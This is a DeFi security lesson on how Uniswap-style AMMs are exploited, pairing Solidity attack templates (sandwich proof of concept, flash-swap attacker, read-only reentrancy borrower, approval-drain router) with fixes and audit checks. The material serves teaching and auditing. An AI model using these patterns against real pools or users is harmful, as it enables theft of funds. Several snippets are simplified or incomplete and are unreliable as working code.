🌳 Advanced ⏱️ 60 min

AMM Security: Uniswap & DEX Exploits

Automated Market Makers (AMMs) are the beating heart of DeFi, collectively holding tens of billions of dollars in liquidity. They replaced the traditional order-book model with a simple mathematical formula — and that formula, along with its implementation, has been the source of some of the biggest exploits in crypto history. This lesson dissects how AMMs work and, more importantly, how they fail.

📖 What is an AMM?

An AMM is a smart contract that holds two (or more) token reserves and lets users swap between them at a price determined entirely by those reserves. There are no buyers and sellers in the traditional sense — the contract itself is always willing to trade at the current formula-derived price.

The Constant Product Formula

Uniswap v2 — the model that spawned a thousand forks — is built on one equation: x * y = k. Here, x is the reserve of token A, y is the reserve of token B, and k is a constant that must never decrease after a trade (it can increase due to fees). Every swap must leave the product of the reserves at least as large as before.

🔍 Constant Product Math
// Pool state: 1000 ETH and 2,000,000 USDC // k = 1000 * 2,000,000 = 2,000,000,000 // User wants to buy ETH by depositing USDC // They send 2000 USDC (ignoring 0.3% fee for simplicity) // New USDC reserve: 2,002,000 // Required ETH reserve: k / 2,002,000 = 998.999... // ETH out: 1000 - 998.999 ≈ 1.001 ETH // Effective price: 2000 USDC / 1.001 ETH ≈ $1998/ETH // vs market price $2000/ETH — price impact is ~0.1% // For a MUCH larger swap — buy 100 ETH: // New ETH reserve must be: 1000 - 100 = 900 // Required USDC: k / 900 = 2,222,222 // USDC in: 2,222,222 - 2,000,000 = 222,222 USDC // Effective price: 222,222 / 100 = $2222/ETH — 11% price impact!

This price impact is not a bug — it is the AMM's mechanism for self-pricing. But it creates an attack surface: large trades move the price predictably, and anyone who can observe a pending transaction can profit from that movement before or after it settles.

How Uniswap v2 Implements the Invariant

🔍 Uniswap v2 swap() Core Check
// Simplified from UniswapV2Pair.sol function swap( uint amount0Out, uint amount1Out, address to, bytes calldata data ) external { // 1. Send tokens to recipient FIRST (optimistic transfer) if (amount0Out > 0) _safeTransfer(token0, to, amount0Out); if (amount1Out > 0) _safeTransfer(token1, to, amount1Out); // 2. If data is provided, call the recipient (flash swap) if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data); // 3. Read new balances AFTER the callback uint balance0 = IERC20(token0).balanceOf(address(this)); uint balance1 = IERC20(token1).balanceOf(address(this)); // 4. Verify k did not decrease (accounting for 0.3% fee) require( balance0Adjusted * balance1Adjusted >= uint(_reserve0) * uint(_reserve1) * (1000**2), "UniswapV2: K" ); }
⚠️ The K-Invariant Failure (Uniswap v1)

Uniswap v1 used ETH directly as one side of every pair. When ERC777 tokens (which have transfer hooks) were traded, the recipient's tokensReceived() hook fired during the optimistic transfer — before the k-check. The attacker could re-enter the swap function and drain the ETH reserve before the invariant was verified. This is why Uniswap v2 moved to ERC20/ERC20 pairs only, with WETH instead of raw ETH.

Sandwich Attacks: Step by Step

A sandwich attack is the most common MEV (Maximal Extractable Value) attack on AMMs. It requires three transactions executed in a specific order around a victim's swap.

🔍 Sandwich Attack Anatomy
// Pool state: 1000 ETH / 2,000,000 USDC (price: $2000/ETH) // Victim: swapping 100,000 USDC for ~47.6 ETH (5% slippage allowed) // === STEP 1: Front-run (attacker, same block, higher gas) === // Attacker buys ETH before victim // Swaps 200,000 USDC → gets ~90.9 ETH // Pool is now: 909.09 ETH / 2,200,000 USDC (price: $2420/ETH) // === STEP 2: Victim's transaction executes === // Victim swaps 100,000 USDC at the manipulated price // Gets only ~38.6 ETH instead of ~47.6 ETH // Pool is now: 870.49 ETH / 2,300,000 USDC // === STEP 3: Back-run (attacker, same block, lower gas) === // Attacker sells the 90.9 ETH back // Gets back ≈ 209,100 USDC // === Profit calculation === // Attacker spent: 200,000 USDC + gas // Attacker received: ~209,100 USDC // Gross profit: ~9,100 USDC // Net profit after gas: depends on gas price, but easily $3,000-$7,000
🚨 Economic Reality of Sandwich Attacks

Sandwich attacks are not theoretical — specialized MEV bots execute them constantly. In 2023 alone, over $1 billion was extracted via sandwich attacks across Ethereum and its L2s. The bigger your swap relative to the pool size, the more profitable you are to sandwich. The only user-side defense is tight slippage tolerances.

Slippage Protection: amountOutMin and deadline

Uniswap's Router contract accepts two critical parameters that users frequently misuse or ignore: amountOutMin and deadline.

🔍 Correct vs Dangerous Router Calls
// ❌ DANGEROUS: No slippage protection, no deadline function badSwap() external { router.swapExactTokensForTokens( amountIn, 0, // amountOutMin = 0 → accept ANY price path, msg.sender, type(uint256).max // deadline = max → transaction valid forever ); } // ✅ SAFE: Proper slippage and deadline function safeSwap(uint256 amountIn, uint256 expectedOut) external { uint256 minOut = expectedOut * 995 / 1000; // 0.5% max slippage router.swapExactTokensForTokens( amountIn, minOut, path, msg.sender, block.timestamp + 300 // 5 minute deadline ); } // Why deadline matters: without it, a miner or validator can hold your // transaction in the mempool and execute it hours later when prices have // moved dramatically against you.

Flash Swaps and Their Attack Surface

Uniswap v2 introduced flash swaps — the ability to borrow any amount from a pool, use it within the same transaction, and return it (plus fees) before the k-check at the end. Uniswap v3 made this even more flexible. Flash swaps are legitimate tools, but they massively amplify the capital available to attackers.

🔍 Flash Swap Attack Template
contract FlashSwapAttacker { function attack() external { // Borrow 10,000 ETH from Uniswap (no upfront capital needed) uniswapPair.swap(10000 ether, 0, address(this), abi.encode("data")); } function uniswapV2Call(address, uint256 amount0, uint256, bytes calldata) external { // Now we have 10,000 ETH to work with // Step 1: Manipulate price on target protocol // Step 2: Exploit the manipulated state // Step 3: Profit // Repay the flash swap: 10,000 ETH + 0.3% fee = 10,030 ETH WETH.transfer(address(uniswapPair), amount0 * 1003 / 1000); } }

Price Manipulation via Large Swaps

Any protocol that reads price from an AMM spot rate is vulnerable to price manipulation within a single transaction. The cost of manipulation depends on pool depth — but flash swaps remove the capital constraint entirely.

Pool Depth (ETH/USDC)Capital to Move Price 10%Flash Swap Required?Attack Profitable If...
$100K TVL~$5,500NoTarget holds >$6K
$1M TVL~$55,000PossiblyTarget holds >$60K
$10M TVL~$550,000Yes (flash loan)Target holds >$600K
$100M TVL~$5.5MYes (multiple protocols)Target holds >$6M
Chainlink FeedImpractical (aggregated)N/ANot viable

Read-Only Reentrancy: The Curve Finance Attack

The Curve Finance read-only reentrancy bug is one of the most sophisticated AMM vulnerabilities ever exploited, costing approximately $70M across multiple protocols. It exploits the fact that during a Curve pool's ETH transfer, external contracts that read Curve's state see a temporarily inconsistent price.

🔍 Read-Only Reentrancy Pattern
// Curve pools send raw ETH during removeLiquidity() // This triggers receive() on the recipient contract // At this point, Curve's internal state (balances) is already updated // but the LP token supply has NOT yet been burned // → get_virtual_price() returns an INFLATED value contract AttackerReceiver { receive() external payable { // We are now inside Curve's removeLiquidity() execution // Curve's virtual_price is WRONG (artificially high) // Any protocol using this as collateral price is vulnerable // Exploit: borrow against inflated Curve LP price lendingProtocol.borrow( curveLPToken, // collateral: Curve LP with inflated price targetToken, maxAmount // borrow more than collateral is actually worth ); // After this tx: Curve finishes, price corrects, position is undercollateralized } } // FIX: Add a nonReentrant guard to read-only view functions, // OR use a reentrancy lock check before reading external state function getCurvePrice() internal view returns (uint256) { // Check Curve's reentrancy lock before reading price ICurvePool(pool).withdraw_admin_fees(); // reverts if locked return ICurvePool(pool).get_virtual_price(); }
⚠️ Why "Read-Only" Reentrancy is Subtle

Traditional reentrancy involves writing state. Read-only reentrancy only reads state — from a contract you don't control. Static analysis tools typically do not flag view function calls as reentrancy vectors. This is why it took so long to discover and why it hit multiple protocols simultaneously when the pattern became known.

Token Approval Phishing

🔍 Approval Phishing Attack
// Attacker deploys a contract that looks like a DEX router contract MaliciousRouter { // Mimics the Uniswap router interface function swapExactTokensForTokens(...) external { // Looks legitimate in the UI, but the "approve" step is separate } // Once user approves, attacker can drain tokens anytime function drain(address victim, address token) external { IERC20(token).transferFrom(victim, address(this), type(uint256).max); } } // What the phishing site shows: "Approve USDC for trading" // What the transaction actually does: // USDC.approve(maliciousRouter, 115792089...U) // MAX_UINT256 // Defense for protocols: use permit() (EIP-2612) for single-use approvals // Defense for users: use revoke.cash, check approval amounts, never approve MAX

Auditing an AMM: Security Checklist

CategoryWhat to CheckCommon Finding
Invariant ChecksIs k verified after EVERY state-changing path?Missing check on certain swap paths
SlippageAre amountOutMin and deadline enforced?Protocol swaps internally with 0 slippage
ReentrancyAre ETH transfers before or after state updates?Read-only reentrancy via ETH callback
Oracle UsageDoes any protocol read this pool's spot price?Spot price used as collateral oracle
Fee AccountingAre fees correctly excluded from k calculation?Fee-on-transfer tokens break accounting
Flash SwapsCan the callback re-enter other functions?Flash swap + reentrancy combo
Token CompatibilityWhat happens with rebasing/fee tokens?Reserve accounting breaks with AMPL

Foundry Fork Test: Simulate a Sandwich Attack

✏️ Try It: Sandwich Attack PoC
// test/SandwichTest.t.sol pragma solidity ^0.8.19; import "forge-std/Test.sol"; contract SandwichTest is Test { IUniswapV2Router router = IUniswapV2Router(0x7a250d5...Router02); IUniswapV2Pair pair; IERC20 WETH; IERC20 USDC; function setUp() public { // Fork mainnet at a specific block vm.createSelectFork("mainnet", 18500000); } function testSandwich() public { address attacker = makeAddr("attacker"); address victim = makeAddr("victim"); // Give attacker 200,000 USDC vm.deal(attacker, 200_000e6); // Step 1: Attacker front-runs (buys ETH) vm.prank(attacker); uint256[] memory amountsOut1 = router.swapExactTokensForTokens( 200_000e6, 0, usdcToEthPath, attacker, block.timestamp ); // Step 2: Victim swaps (at worse price) vm.prank(victim); uint256[] memory victimAmounts = router.swapExactTokensForTokens( 100_000e6, 0, usdcToEthPath, victim, block.timestamp ); // Step 3: Attacker back-runs (sells ETH) vm.prank(attacker); uint256[] memory amountsOut2 = router.swapExactTokensForTokens( amountsOut1[1], 0, ethToUsdcPath, attacker, block.timestamp ); // Assert attacker profited assertGt(amountsOut2[1], 200_000e6, "Attacker should profit"); emit log_named_uint("Attacker profit (USDC)", amountsOut2[1] - 200_000e6); } } // Run with: forge test --fork-url $ETH_RPC_URL -vvvv

Real Exploits Reference

🚨 Historical AMM Exploits

Uniswap v1 ETH-imBTC (2020): ERC777 reentrancy via tokensReceived() hook during ETH swap. ~$300K lost. Led to Uniswap v2 removing native ETH support.

Curve Finance read-only reentrancy (2023): ~$70M across multiple protocols (Conic Finance, JPEG'd, dForce) that used Curve's get_virtual_price() as an oracle without reentrancy protection.

Balancer SAFU incident (2022): Fee-on-transfer tokens caused reserve accounting errors, resulting in manipulable prices within Balancer pools.

Uniswap v3 Concentrated Liquidity Security

Uniswap v3 introduced concentrated liquidity — LPs choose a price range for their capital. This significantly increases capital efficiency but adds new security dimensions: tick math, position management, and more complex fee accounting.

🔍 Uniswap v3 Attack Surfaces
// Uniswap v3 tick-based pricing introduces new attack surfaces // 1. TICK MANIPULATION: price moved to a tick boundary // When price crosses a tick, liquidity enters/exits automatically // A large swap can move price past many ticks in one transaction // If a protocol tracks "which tick is current" as a price proxy: function getPrice_BUGGY() external view returns (uint256) { (,int24 currentTick,,,,,) = pool.slot0(); // slot0 returns SPOT price — manipulable in same block return TickMath.getSqrtRatioAtTick(currentTick); } // ✅ CORRECT: Use the TWAP observation from v3's oracle function getPrice_SAFE() external view returns (uint256) { uint32[] memory secondsAgos = new uint32[](2); secondsAgos[0] = 1800; // 30 minutes ago secondsAgos[1] = 0; // now (int56[] memory tickCumulatives,) = pool.observe(secondsAgos); int24 twapTick = int24((tickCumulatives[1] - tickCumulatives[0]) / 1800); return TickMath.getSqrtRatioAtTick(twapTick); // Still needs sufficient TWAP window and pool liquidity for security } // 2. OBSERVATION ARRAY: v3 stores price observations in a fixed array // Default array size: 1 observation (no TWAP possible!) // Must call pool.increaseObservationCardinalityNext(sufficient_count) // before relying on v3 TWAP // If observation array is too small, observe() reverts

Liquidity Concentration and Price Impact Manipulation

🔍 Thin Liquidity Exploitation
// LPs in v3 can concentrate liquidity in a narrow range // If an LP provides ALL liquidity in the range [$1990-$2010] for ETH: // A swap that moves price outside that range exhausts all liquidity // Price becomes undefined (infinite slippage) outside the LP range // Exploit: LP withdraws at the exact moment an attacker needs liquidity // This is a griefing attack — LP front-runs a swap by removing liquidity // Swap executes with zero liquidity → maximum slippage → victim gets almost nothing // Attacker profit: the attacker IS the LP // Step 1: Provide all liquidity in narrow range // Step 2: Observe a large pending swap in mempool // Step 3: Remove liquidity before the swap executes (front-run with higher gas) // Step 4: Victim's swap executes with no liquidity → maximum price impact // Step 5: Re-add liquidity after swap at the new (worse for victim) price // → Effectively a JIT (Just-In-Time) liquidity sandwich variant // This is why protocols integrating v3 must set both amountOutMin AND deadlines // amountOutMin: if price impact too high, revert // deadline: if stuck in mempool too long, revert

AMM Fee Accounting Bugs

⚠️ Fee Rounding and Precision Attacks

AMM protocols that use integer math for fee calculations can have precision loss that accumulates over millions of trades. More critically, if fees are rounded in a direction that slightly favors the trader, an attacker who makes billions of tiny trades can extract value from the protocol with zero market exposure. Always verify that fee calculations round in the protocol's favor, and that there is a minimum swap size that makes dust attacks unprofitable.

🔍 Fee Precision Bug
// ❌ Rounding in wrong direction function calculateFee_BUGGY(uint256 amountIn) pure returns (uint256 fee) { // 0.3% fee: fee = amountIn * 3 / 1000 fee = amountIn * 3 / 1000; // Rounds DOWN → trader pays slightly less than 0.3% // On amountIn = 999: fee = 999 * 3 / 1000 = 2 (should be 2.997 → rounds to 2) // Attacker swaps 999 wei millions of times → extracts value } // ✅ Correct: round UP on fees (favor protocol) function calculateFee_SAFE(uint256 amountIn) pure returns (uint256 fee) { // Ceiling division: (amountIn * 3 + 999) / 1000 fee = (amountIn * 3 + 999) / 1000; // Rounds UP → protocol gets slightly more // On amountIn = 999: fee = (999*3 + 999) / 1000 = 3997/1000 = 3 ✅ } // Minimum swap enforcement: uint256 constant MIN_SWAP_AMOUNT = 1000; // Ensures fee is at least 3 wei require(amountIn >= MIN_SWAP_AMOUNT, "Swap too small");

Just-in-Time (JIT) Liquidity Attacks

In Uniswap v3, liquidity can be added and removed in the same transaction. JIT attacks (also called "JIT liquidity attacks") exploit this by front-running large known trades, providing concentrated liquidity just in time to collect fees, then removing it immediately.

🔍 JIT Liquidity Attack Pattern
// JIT attack on Uniswap v3 (MEV strategy, not a protocol exploit) // Profitable for the MEV bot but dilutes fees for passive LP providers // Attacker sees large pending swap in mempool: // Victim: swapping 1,000 ETH for USDC in ETH/USDC Uniswap v3 pool // tx1 (higher gas): Add 100,000,000 USDC liquidity in narrow range around current tick // tx2 (victim): 1,000 ETH swap executes, mostly through JIT position // → JIT position earns 99% of the 0.3% fee from the large swap // tx3: Remove JIT liquidity → attacker takes principal + fee income // Victim impact: no worse execution than without JIT (price still accurate) // LP impact: passive LPs get almost none of the fee from the large trade // Protocol impact: NONE — but protocols that rebate LP fees may pay JIT bots // When does JIT become a PROTOCOL vulnerability? // If the protocol calculates reward rates based on LP share during a period: // JIT liquidity inflates total liquidity → dilutes rewards for real LPs // Fix: snapshot LP positions at block start, not at transaction time // Fix: minimum liquidity duration before rewards are earned // Check: protocols built on Uniswap v3 that distribute additional tokens to LPs

AMM Invariant Testing with Foundry

🔍 Writing AMM Invariant Tests
// Invariant tests systematically verify AMM properties hold under all inputs contract AMMInvariantTest is Test { SimpleAMM amm; address[] actors; function setUp() public { amm = new SimpleAMM(address(tokenA), address(tokenB)); // Seed with initial liquidity amm.addLiquidity(1000 ether, 1000 ether); actors = [makeAddr("alice"), makeAddr("bob"), makeAddr("attacker")]; } // Invariant 1: k = reserve0 * reserve1 must never decrease after a swap function invariant_kValueNeverDecreases() public view { (uint256 r0, uint256 r1) = amm.getReserves(); uint256 currentK = r0 * r1; assertGe(currentK, initialK, "K value decreased"); } // Invariant 2: Protocol can never owe more tokens than it holds function invariant_solvency() public view { uint256 contractBalance = tokenA.balanceOf(address(amm)); (uint256 reserve0,) = amm.getReserves(); assertEq(contractBalance, reserve0, "Reserves out of sync"); } // Invariant 3: Sum of all LP shares == total LP supply function invariant_lpShareConsistency() public view { uint256 totalLPShares; for (uint256 i; i < actors.length; i++) { totalLPShares += amm.balanceOf(actors[i]); } assertEq(totalLPShares, amm.totalSupply(), "LP share mismatch"); } } // Run: forge test --match-contract AMMInvariantTest // Foundry will call swap(), addLiquidity(), removeLiquidity() in random order // checking all three invariants after every call sequence

Key Takeaways

  • The constant product formula x * y = k must be verified after every swap — any path that bypasses this check is exploitable.
  • Sandwich attacks are profitable whenever a victim's slippage tolerance is too high relative to pool depth — amountOutMin and deadline are mandatory protections.
  • Flash swaps remove the capital constraint for attackers — assume an adversary can control arbitrarily large amounts in any attack analysis.
  • Read-only reentrancy is invisible to static analysis and exploits temporarily inconsistent state during ETH transfers from Curve-style pools.
  • Any protocol reading a DEX spot price (slot0) on-chain is vulnerable to single-transaction price manipulation — always use TWAP with sufficient window.
  • Uniswap v3 observation array must have sufficient cardinality before TWAP can be used — check pool.slot0().observationCardinality.
  • Always test AMM integrations with fee-on-transfer and rebasing tokens — they break the standard reserve accounting assumptions.
  • Fee calculations should always round in the protocol's favor to prevent dust-trade precision attacks.